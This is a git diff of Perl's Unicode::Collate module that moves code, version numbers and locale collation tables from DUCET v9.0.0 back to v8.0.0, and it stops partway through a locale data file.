UCA_Version is 36. + U+4E00..U+9FD5 if UCA_Version is 32. In the CJK Unified Ideographs Extension blocks: Ext.A (U+3400..U+4DB5) and Ext.B (U+20000..U+2A6D6) in any UCA_Version. Ext.C (U+2A700..U+2B734) if UCA_Version is 20 or later. Ext.D (U+2B740..U+2B81D) if UCA_Version is 22 or later. - Ext.E (U+2B820..U+2CEA1) if UCA_Version is 32 or later. - Ext.F (U+2CEB0..U+2EBE0) if UCA_Version is 36. + Ext.E (U+2B820..U+2CEA1) if UCA_Version is 32. Through C, ordering of CJK unified ideographs (including extensions) can be overridden. @@ -2047,8 +2037,7 @@ The most preferable one is "The Default Unicode Collation Element Table" http://www.unicode.org/Public/UCA/ - http://www.unicode.org/Public/UCA/latest/allkeys.txt - (latest version) + http://www.unicode.org/Public/UCA/latest/allkeys.txt (latest version) If DUCET is not installed, it is recommended to copy the file from http://www.unicode.org/Public/UCA/latest/allkeys.txt @@ -2092,15 +2081,15 @@ B =head1 AUTHOR, COPYRIGHT AND LICENSE The Unicode::Collate module for perl was written by SADAHIRO Tomoyuki, -. This module is Copyright(C) 2001-2017, +. This module is Copyright(C) 2001-2016, SADAHIRO Tomoyuki. Japan. All rights reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself. The file Unicode/Collate/allkeys.txt was copied verbatim -from L. -For this file, Copyright (c) 2016 Unicode, Inc.; distributed +from L. +For this file, Copyright (c) 2001-2015 Unicode, Inc.; distributed under the Terms of Use in L =head1 SEE ALSO diff --git a/cpan/Unicode-Collate/Collate.xs b/cpan/Unicode-Collate/Collate.xs index ac57b47971f1..32d1c237e802 100644 --- a/cpan/Unicode-Collate/Collate.xs +++ b/cpan/Unicode-Collate/Collate.xs @@ -52,13 +52,11 @@ #define CJK_UidIni (0x4E00) #define CJK_UidFin (0x9FA5) -#define CJK_UidF41 (0x9FBB) /* Unicode 4.1 */ -#define CJK_UidF51 (0x9FC3) /* Unicode 5.1 */ -#define CJK_UidF52 (0x9FCB) /* Unicode 5.2 */ -#define CJK_UidF61 (0x9FCC) /* Unicode 6.1 */ -#define CJK_UidF80 (0x9FD5) /* Unicode 8.0 */ -#define CJK_UidF100 (0x9FEA) /* Unicode 10.0 */ - +#define CJK_UidF41 (0x9FBB) +#define CJK_UidF51 (0x9FC3) +#define CJK_UidF52 (0x9FCB) +#define CJK_UidF61 (0x9FCC) +#define CJK_UidF80 (0x9FD5) #define CJK_ExtAIni (0x3400) /* Unicode 3.0 */ #define CJK_ExtAFin (0x4DB5) /* Unicode 3.0 */ #define CJK_ExtBIni (0x20000) /* Unicode 3.1 */ @@ -69,8 +67,6 @@ #define CJK_ExtDFin (0x2B81D) /* Unicode 6.0 */ #define CJK_ExtEIni (0x2B820) /* Unicode 8.0 */ #define CJK_ExtEFin (0x2CEA1) /* Unicode 8.0 */ -#define CJK_ExtFIni (0x2CEB0) /* Unicode 10.0 */ -#define CJK_ExtFFin (0x2EBE0) /* Unicode 10.0 */ #define CJK_CompIni (0xFA0E) #define CJK_CompFin (0xFA29) @@ -78,13 +74,6 @@ static const STDCHAR UnifiedCompat[] = { 1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1 }; /* E F 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 */ -#define TangIdeoIni (0x17000) /* Unicode 9.0 */ -#define TangIdeoFin (0x187EC) /* Unicode 9.0 */ -#define TangCompIni (0x18800) /* Unicode 9.0 */ -#define TangCompFin (0x18AF2) /* Unicode 9.0 */ -#define NushuIni (0x1B170) /* Unicode 10.0 */ -#define NushuFin (0x1B2FB) /* Unicode 10.0 */ - #define codeRange(bcode, ecode) ((bcode) <= code && code <= (ecode)) MODULE = Unicode::Collate PACKAGE = Unicode::Collate @@ -281,37 +270,24 @@ _derivCE_9 (code) _derivCE_22 = 4 _derivCE_24 = 5 _derivCE_32 = 6 - _derivCE_34 = 7 - _derivCE_36 = 8 PREINIT: UV base, aaaa, bbbb; U8 a[VCE_Length + 1] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00"; U8 b[VCE_Length + 1] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00"; - bool basic_unified = 0, tangut = 0, nushu = 0; + bool basic_unified = 0; PPCODE: - if (codeRange(CJK_UidIni, CJK_CompFin)) { + if (CJK_UidIni <= code) { if (codeRange(CJK_CompIni, CJK_CompFin)) basic_unified = (bool)UnifiedCompat[code - CJK_CompIni]; else - basic_unified = (ix >= 8 ? (code <= CJK_UidF100) : - ix >= 6 ? (code <= CJK_UidF80) : + basic_unified = (ix >= 6 ? (code <= CJK_UidF80) : ix == 5 ? (code <= CJK_UidF61) : ix >= 3 ? (code <= CJK_UidF52) : ix == 2 ? (code <= CJK_UidF51) : ix == 1 ? (code <= CJK_UidF41) : (code <= CJK_UidFin)); - } else { - if (ix >= 7) - tangut = (codeRange(TangIdeoIni, TangIdeoFin) || - codeRange(TangCompIni, TangCompFin)); - if (ix >= 8) - nushu = (codeRange(NushuIni, NushuFin)); } - base = tangut - ? 0xFB00 : - nushu - ? 0xFB01 : - basic_unified + base = (basic_unified) ? 0xFB40 : /* CJK */ ((codeRange(CJK_ExtAIni, CJK_ExtAFin)) || @@ -321,14 +297,11 @@ _derivCE_9 (code) || (ix >= 4 && codeRange(CJK_ExtDIni, CJK_ExtDFin)) || - (ix >= 6 && codeRange(CJK_ExtEIni, CJK_ExtEFin)) - || - (ix >= 8 && codeRange(CJK_ExtFIni, CJK_ExtFFin))) + (ix >= 6 && codeRange(CJK_ExtEIni, CJK_ExtEFin))) ? 0xFB80 /* CJK ext. */ : 0xFBC0; /* others */ - aaaa = tangut || nushu ? base : base + (code >> 15); - bbbb = (tangut ? (code - TangIdeoIni) : - nushu ? (code - NushuIni) : (code & 0x7FFF)) | 0x8000; + aaaa = base + (code >> 15); + bbbb = (code & 0x7FFF) | 0x8000; a[1] = (U8)(aaaa >> 8); a[2] = (U8)(aaaa & 0xFF); b[1] = (U8)(bbbb >> 8); @@ -389,8 +362,7 @@ _isUIdeo (code, uca_vers) if (codeRange(CJK_CompIni, CJK_CompFin)) basic_unified = (bool)UnifiedCompat[code - CJK_CompIni]; else - basic_unified = (uca_vers >= 36 ? (code <= CJK_UidF100) : - uca_vers >= 32 ? (code <= CJK_UidF80) : + basic_unified = (uca_vers >= 32 ? (code <= CJK_UidF80) : uca_vers >= 24 ? (code <= CJK_UidF61) : uca_vers >= 20 ? (code <= CJK_UidF52) : uca_vers >= 18 ? (code <= CJK_UidF51) : @@ -409,8 +381,6 @@ _isUIdeo (code, uca_vers) (uca_vers >= 22 && codeRange(CJK_ExtDIni, CJK_ExtDFin)) || (uca_vers >= 32 && codeRange(CJK_ExtEIni, CJK_ExtEFin)) - || - (uca_vers >= 36 && codeRange(CJK_ExtFIni, CJK_ExtFFin)) ); OUTPUT: RETVAL @@ -579,7 +549,6 @@ varCE (self, vce) U8 *a, *v, *d; STRLEN alen, vlen; bool ig_l2; - IV uca_vers; UV totwt; CODE: if (SvROK(self) && SvTYPE(SvRV(self)) == SVt_PVHV) @@ -624,18 +593,8 @@ varCE (self, vce) d[7] = d[1]; /* wt level 1 to 4 */ d[8] = d[2]; } else { - svp = hv_fetch(selfHV, "UCA_Version", 11, FALSE); - if (!svp) - croak("Panic: no $self->{UCA_Version} in varCE"); - uca_vers = SvIV(*svp); - - /* completely ignorable or the second derived CE */ - if (uca_vers >= 36 && d[3] + d[4] + d[5] + d[6] == 0) { - d[7] = d[8] = '\0'; - } else { - d[7] = (U8)(Shift4Wt >> 8); - d[8] = (U8)(Shift4Wt & 0xFF); - } + d[7] = (U8)(Shift4Wt >> 8); + d[8] = (U8)(Shift4Wt & 0xFF); } } else { /* shift-trimmed or completely ignorable */ d[7] = d[8] = '\0'; diff --git a/cpan/Unicode-Collate/Collate/CJK/Big5.pm b/cpan/Unicode-Collate/Collate/CJK/Big5.pm index 5fcd9c000533..63f970a797f4 100644 --- a/cpan/Unicode-Collate/Collate/CJK/Big5.pm +++ b/cpan/Unicode-Collate/Collate/CJK/Big5.pm @@ -4,7 +4,7 @@ use 5.006; use strict; use warnings; -our $VERSION = '1.25'; +our $VERSION = '1.19'; my %u2p; my $wt = 0x8000; diff --git a/cpan/Unicode-Collate/Collate/CJK/GB2312.pm b/cpan/Unicode-Collate/Collate/CJK/GB2312.pm index 69626649d617..ce014132999a 100644 --- a/cpan/Unicode-Collate/Collate/CJK/GB2312.pm +++ b/cpan/Unicode-Collate/Collate/CJK/GB2312.pm @@ -4,7 +4,7 @@ use 5.006; use strict; use warnings; -our $VERSION = '1.25'; +our $VERSION = '1.19'; my %u2p; my $wt = 0x8000; diff --git a/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm b/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm index b36750136b43..fe85f757f7ab 100644 --- a/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm +++ b/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm @@ -4,7 +4,7 @@ use 5.006; use strict; use warnings; -our $VERSION = '1.25'; +our $VERSION = '1.19'; my %u2p; my $wt = 0x8000; diff --git a/cpan/Unicode-Collate/Collate/CJK/Korean.pm b/cpan/Unicode-Collate/Collate/CJK/Korean.pm index 6905f20614d9..3ca9eaaff6a7 100644 --- a/cpan/Unicode-Collate/Collate/CJK/Korean.pm +++ b/cpan/Unicode-Collate/Collate/CJK/Korean.pm @@ -4,21 +4,21 @@ use 5.006; use strict; use warnings; -our $VERSION = '1.25'; +our $VERSION = '1.19'; my %jamo2prim = ( - '1100', 0x3BF5, '1101', 0x3BF6, '1102', 0x3BF7, '1103', 0x3BF8, - '1105', 0x3BFA, '1106', 0x3BFB, '1107', 0x3BFC, '1109', 0x3BFE, - '110A', 0x3BFF, '110B', 0x3C00, '110C', 0x3C01, '110E', 0x3C03, - '110F', 0x3C04, '1110', 0x3C05, '1111', 0x3C06, '1112', 0x3C07, - '1161', 0x3C73, '1162', 0x3C74, '1163', 0x3C75, '1165', 0x3C77, - '1166', 0x3C78, '1167', 0x3C79, '1168', 0x3C7A, '1169', 0x3C7B, - '116A', 0x3C7C, '116B', 0x3C7D, '116C', 0x3C7E, '116D', 0x3C7F, - '116E', 0x3C80, '116F', 0x3C81, '1170', 0x3C82, '1171', 0x3C83, - '1172', 0x3C84, '1173', 0x3C85, '1174', 0x3C86, '1175', 0x3C87, - '11A8', 0x3CD1, '11AB', 0x3CD4, '11AF', 0x3CD8, '11B7', 0x3CE0, - '11B8', 0x3CE1, '11BC', 0x3CE5, '11BD', 0x3CE6, -); # for DUCET v9.0.0 + '1100', 0x3A5E, '1101', 0x3A5F, '1102', 0x3A60, '1103', 0x3A61, + '1105', 0x3A63, '1106', 0x3A64, '1107', 0x3A65, '1109', 0x3A67, + '110A', 0x3A68, '110B', 0x3A69, '110C', 0x3A6A, '110E', 0x3A6C, + '110F', 0x3A6D, '1110', 0x3A6E, '1111', 0x3A6F, '1112', 0x3A70, + '1161', 0x3ADC, '1162', 0x3ADD, '1163', 0x3ADE, '1165', 0x3AE0, + '1166', 0x3AE1, '1167', 0x3AE2, '1168', 0x3AE3, '1169', 0x3AE4, + '116A', 0x3AE5, '116B', 0x3AE6, '116C', 0x3AE7, '116D', 0x3AE8, + '116E', 0x3AE9, '116F', 0x3AEA, '1170', 0x3AEB, '1171', 0x3AEC, + '1172', 0x3AED, '1173', 0x3AEE, '1174', 0x3AEF, '1175', 0x3AF0, + '11A8', 0x3B3A, '11AB', 0x3B3D, '11AF', 0x3B41, '11B7', 0x3B49, + '11B8', 0x3B4A, '11BC', 0x3B4E, '11BD', 0x3B4F, +); # for DUCET v8.0.0 my(%u2e, $prim, $wt); while () { diff --git a/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm b/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm index 483c1e90588c..751d08686862 100644 --- a/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm +++ b/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm @@ -4,7 +4,7 @@ use 5.006; use strict; use warnings; -our $VERSION = '1.25'; +our $VERSION = '1.19'; my %u2p; my $wt = 0x8000; diff --git a/cpan/Unicode-Collate/Collate/CJK/Stroke.pm b/cpan/Unicode-Collate/Collate/CJK/Stroke.pm index 3b6684b49173..cce32a1f85a2 100644 --- a/cpan/Unicode-Collate/Collate/CJK/Stroke.pm +++ b/cpan/Unicode-Collate/Collate/CJK/Stroke.pm @@ -4,7 +4,7 @@ use 5.006; use strict; use warnings; -our $VERSION = '1.25'; +our $VERSION = '1.19'; my %u2p; my $wt = 0x8000; diff --git a/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm b/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm index d21cb8923b30..57fb61ee25ed 100644 --- a/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm +++ b/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm @@ -4,7 +4,7 @@ use 5.006; use strict; use warnings; -our $VERSION = '1.25'; +our $VERSION = '1.19'; my %u2p; my $wt = 0x8000; diff --git a/cpan/Unicode-Collate/Collate/Locale.pm b/cpan/Unicode-Collate/Collate/Locale.pm index 1182a8617c79..63122b646d78 100644 --- a/cpan/Unicode-Collate/Collate/Locale.pm +++ b/cpan/Unicode-Collate/Collate/Locale.pm @@ -5,15 +5,15 @@ use warnings; use Carp; use base qw(Unicode::Collate); -our $VERSION = '1.25'; +our $VERSION = '1.19'; my $PL_EXT = '.pl'; my %LocaleFile = map { ($_, $_) } qw( - af ar as az be bn ca cs cy da dsb ee eo es et fa fi fil fo gu - ha haw he hi hr hu hy ig is ja kk kl kn ko kok lkt ln lt lv - mk ml mr mt nb nn nso om or pa pl ro sa se si sk sl sq sr sv - ta te th tn to tr uk ur vi vo wae wo yo zh + af ar as az be bn ca cs cy da ee eo es et fa fi fil fo + gu ha haw he hi hr hu hy ig is ja kk kl kn ko kok ln lt lv + mk ml mr mt nb nn nso om or pa pl ro sa se si sk sl sq + sr sv ta te th tn to tr uk ur vi vo wae wo yo zh ); $LocaleFile{'default'} = ''; # aliases @@ -260,7 +260,6 @@ a combination of return values from C and C. da Danish de__phonebook German (umlaut as 'ae', 'oe', 'ue') de_AT_phonebook Austrian German (umlaut primary greater) - dsb Lower Sorbian ee Ewe eo Esperanto es Spanish @@ -288,7 +287,6 @@ a combination of return values from C and C. kn Kannada ko Korean [2] kok Konkani - lkt Lakota ln Lingala lt Lithuanian lv Latvian @@ -325,7 +323,7 @@ a combination of return values from C and C. uk Ukrainian ur Urdu vi Vietnamese - vo Volapu"k + vo Volapuk wae Walser wo Wolof yo Yoruba @@ -371,30 +369,14 @@ greater than, the corresponding hangul syllable. [3] zh__pinyin, zh__stroke and zh__zhuyin: implemented alt='short', where a smaller number of ideographs are tailored. -=head2 A list of variant codes and their aliases - - variant code alias - ------------------------------------------ - dictionary dict - phonebook phone phonebk - reformed reform - traditional trad - ------------------------------------------ - big5han big5 - gb2312han gb2312 - pinyin - stroke - zhuyin - ------------------------------------------ - -Note: 'pinyin' is Han in Latin, 'zhuyin' is Han in Bopomofo. +Note: 'pinyin' is in latin, 'zhuyin' is in bopomofo. =head1 INSTALL Installation of C requires F, F, F and F. -On building, C doesn't require -any of F, F, and F. +On building, C doesn't require any of F, +F, and F. Tests for C are named F. =head1 CAVEAT @@ -421,11 +403,11 @@ The order of any groups including scripts is not changed. locale based CLDR or other reference -------------------------------------------------------------------- af 30 = 1.8.1 - ar 30 = 28 ("compat" wo [reorder Arab]) = 1.9.0 + ar 22.1 = 1.9.0 as 30 = 28 (without [reorder Beng..]) = 23 - az 30 = 24 ("standard" wo [reorder Latn Cyrl]) + az 30 = 24 (type="standard" without [reorder Latn Cyrl]) be 30 = 28 (without [reorder Cyrl]) - bn 30 = 28 ("standard" wo [reorder Beng..]) = 2.0.1 + bn 30 = 28 (type="standard" wo [reorder Beng..]) = 2.0.1 bs 30 = 28 (type="standard": [import hr]) bs_Cyrl 30 = 28 (type="standard": [import sr]) ca 30 = 23 (alt="proposed" type="standard") @@ -434,8 +416,7 @@ The order of any groups including scripts is not changed. da 22.1 = 1.8.1 (type="standard") de__phonebook 30 = 2.0 (type="phonebook") de_AT_phonebook 30 = 27 (type="phonebook") - dsb 30 = 26 - ee 30 = 21 + ee 22.1 = 22 eo 30 = 1.8.1 es 30 = 1.9.0 (type="standard") es__traditional 30 = 1.8.1 (type="traditional") @@ -446,12 +427,12 @@ The order of any groups including scripts is not changed. fil 30 = 1.9.0 (type="standard") = 1.8.1 fo 22.1 = 1.8.1 (alt="proposed" type="standard") fr_CA 30 = 1.9.0 - gu 30 = 28 ("standard" wo [reorder Gujr..]) = 1.9.0 + gu 30 = 28 (type="standard" wo [reorder Gujr..]) = 1.9.0 ha 30 = 1.9.0 haw 30 = 24 he 30 = 28 (without [reorder Hebr]) = 23 hi 30 = 28 (without [reorder Deva..]) = 1.9.0 - hr 30 = 28 ("standard" wo [reorder Latn Cyrl]) = 1.9.0 + hr 22.1 = 1.9.0 (type="standard") hu 22.1 = 1.8.1 (alt="proposed" type="standard") hy 30 = 28 (without [reorder Armn]) = 1.8.1 ig 30 = 1.8.1 @@ -459,10 +440,9 @@ The order of any groups including scripts is not changed. ja 22.1 = 1.8.1 (type="standard") kk 30 = 28 (without [reorder Cyrl]) kl 22.1 = 1.8.1 (type="standard") - kn 30 = 28 ("standard" wo [reorder Knda..]) = 1.9.0 + kn 30 = 28 (type="standard" wo [reorder Knda..]) = 1.9.0 ko 22.1 = 1.8.1 (type="standard") kok 30 = 28 (without [reorder Deva..]) = 1.8.1 - lkt 30 = 25 ln 30 = 2.0 (type="standard") = 1.8.1 lt 22.1 = 1.9.0 lv 22.1 = 1.9.0 (type="standard") = 1.8.1 @@ -480,8 +460,8 @@ The order of any groups including scripts is not changed. ro 30 = 1.9.0 (type="standard") sa [*] 1.9.1 = 1.8.1 (type="standard" alt="proposed") se 22.1 = 1.8.1 (type="standard") - si 30 = 28 ("standard" wo [reorder Sinh..]) = 1.9.0 - si__dictionary 30 = 28 ("dictionary" wo [reorder Sinh..]) = 1.9.0 + si 30 = 28 (type="standard" wo [reorder Sinh..]) = 1.9.0 + si__dictionary 30 = 28 (type="dictionary" wo [reorder Sinh..]) = 1.9.0 sk 22.1 = 1.9.0 (type="standard") sl 22.1 = 1.8.1 (type="standard" alt="proposed") sq 22.1 = 1.8.1 (alt="proposed" type="standard") @@ -517,7 +497,7 @@ The order of any groups including scripts is not changed. The Unicode::Collate::Locale module for perl was written by SADAHIRO Tomoyuki, . -This module is Copyright(C) 2004-2017, SADAHIRO Tomoyuki. Japan. +This module is Copyright(C) 2004-2016, SADAHIRO Tomoyuki. Japan. All rights reserved. This module is free software; you can redistribute it and/or diff --git a/cpan/Unicode-Collate/Collate/Locale/af.pl b/cpan/Unicode-Collate/Collate/Locale/af.pl index 13e46e40d316..870101fc8d72 100644 --- a/cpan/Unicode-Collate/Collate/Locale/af.pl +++ b/cpan/Unicode-Collate/Collate/Locale/af.pl @@ -1,6 +1,6 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0149 ; [.1DB9.0020.0009] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0149 ; [.1D34.0020.0009] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ar.pl b/cpan/Unicode-Collate/Collate/Locale/ar.pl index b8ca052fcf97..5927b3bcb4d3 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ar.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ar.pl @@ -1,15 +1,15 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0629 ; [.231D.0021.0002] # ARABIC LETTER TEH MARBUTA -FE94 ; [.231D.0021.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM -FE93 ; [.231D.0021.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM -0649 ; [.23C6.0021.0002] # ARABIC LETTER ALEF MAKSURA -FBE8 ; [.23C6.0021.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM -FBE9 ; [.23C6.0021.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM -FEF0 ; [.23C6.0021.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM -FEEF ; [.23C6.0021.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM -FC90 ; [.23C6.0021.001B] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM -FC5D ; [.23C6.0021.001C] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0629 ; [.2296.0021.0002] # ARABIC LETTER TEH MARBUTA +FE94 ; [.2296.0021.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM +FE93 ; [.2296.0021.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM +0649 ; [.233A.0021.0002] # ARABIC LETTER ALEF MAKSURA +FBE8 ; [.233A.0021.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM +FBE9 ; [.233A.0021.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM +FEF0 ; [.233A.0021.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM +FEEF ; [.233A.0021.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM +FC90 ; [.233A.0021.001B] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM +FC5D ; [.233A.0021.001C] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/as.pl b/cpan/Unicode-Collate/Collate/Locale/as.pl index 093f65224f68..709004744e33 100644 --- a/cpan/Unicode-Collate/Collate/Locale/as.pl +++ b/cpan/Unicode-Collate/Collate/Locale/as.pl @@ -1,14 +1,14 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0982 ; [.26CD.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA -0981 ; [.26CD.0020.0002][.FFF2.0000.0000] # BENGALI SIGN CANDRABINDU -0983 ; [.26CD.0020.0002][.FFF3.0000.0000] # BENGALI SIGN VISARGA -0994 ; [.26CD.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU -09CE ; [.26DD.0020.0002][.FFF0.0000.0000] # BENGALI LETTER KHANDA TA -09A4 09CD 200D ; [.26DD.0020.0002][.FFF0.0000.0000] # -09A4 ; [.26DD.0020.0002][.FFF1.0000.0000] # BENGALI LETTER TA -0995 09CD 09B7 ; [.26EF.0020.0002][.FFF1.0000.0000] # -09B9 ; [.26EF.0020.0002][.FFF0.0000.0000] # BENGALI LETTER HA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0982 ; [.2640.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA +0981 ; [.2640.0020.0002][.FFF2.0000.0000] # BENGALI SIGN CANDRABINDU +0983 ; [.2640.0020.0002][.FFF3.0000.0000] # BENGALI SIGN VISARGA +0994 ; [.2640.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU +09CE ; [.2650.0020.0002][.FFF0.0000.0000] # BENGALI LETTER KHANDA TA +09A4 09CD 200D ; [.2650.0020.0002][.FFF0.0000.0000] # +09A4 ; [.2650.0020.0002][.FFF1.0000.0000] # BENGALI LETTER TA +0995 09CD 09B7 ; [.2662.0020.0002][.FFF1.0000.0000] # +09B9 ; [.2662.0020.0002][.FFF0.0000.0000] # BENGALI LETTER HA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/az.pl b/cpan/Unicode-Collate/Collate/Locale/az.pl index 7a0009a9dabf..4431231b2529 100644 --- a/cpan/Unicode-Collate/Collate/Locale/az.pl +++ b/cpan/Unicode-Collate/Collate/Locale/az.pl @@ -1,53 +1,53 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # schwa doesn't require tailoring - entry => <<'ENTRY', # for DUCET v9.0.0 -00E7 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA -0063 0327 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA -00C7 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA -0043 0327 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA -011F ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE -0067 0306 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH BREVE -011E ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE -0047 0306 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE -0131 ; [.1D31.0020.0002] # LATIN SMALL LETTER DOTLESS I -0049 ; [.1D31.0020.0008] # LATIN CAPITAL LETTER I -00CC ; [.1D31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE -00CD ; [.1D31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE -00CE ; [.1D31.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX -00CF ; [.1D31.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS -012A ; [.1D31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON -012C ; [.1D31.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE -012E ; [.1D31.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK -0130 ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE -0049 0307 ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE -00F6 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1DDE.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1DDE.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -015F ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA -0073 0327 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA -015E ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA -0053 0327 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA -00FC ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1EB6.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB6.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1EB6.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB6.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1EB6.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB6.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0071 ; [.1D66.0020.0002] # LATIN SMALL LETTER Q -0051 ; [.1D66.0020.0008] # LATIN CAPITAL LETTER Q -0078 ; [.1D19.0020.0002] # LATIN SMALL LETTER X -0058 ; [.1D19.0020.0008] # LATIN CAPITAL LETTER X -0077 ; [.1F22.0020.0002] # LATIN SMALL LETTER W -0057 ; [.1F22.0020.0008] # LATIN CAPITAL LETTER W + entry => <<'ENTRY', # for DUCET v8.0.0 +00E7 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA +0063 0327 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA +00C7 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA +0043 0327 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA +011F ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE +0067 0306 ; [.1C70.0020.0002] # LATIN SMALL LETTER G WITH BREVE +011E ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE +0047 0306 ; [.1C70.0020.0008] # LATIN CAPITAL LETTER G WITH BREVE +0131 ; [.1CAC.0020.0002] # LATIN SMALL LETTER DOTLESS I +0049 ; 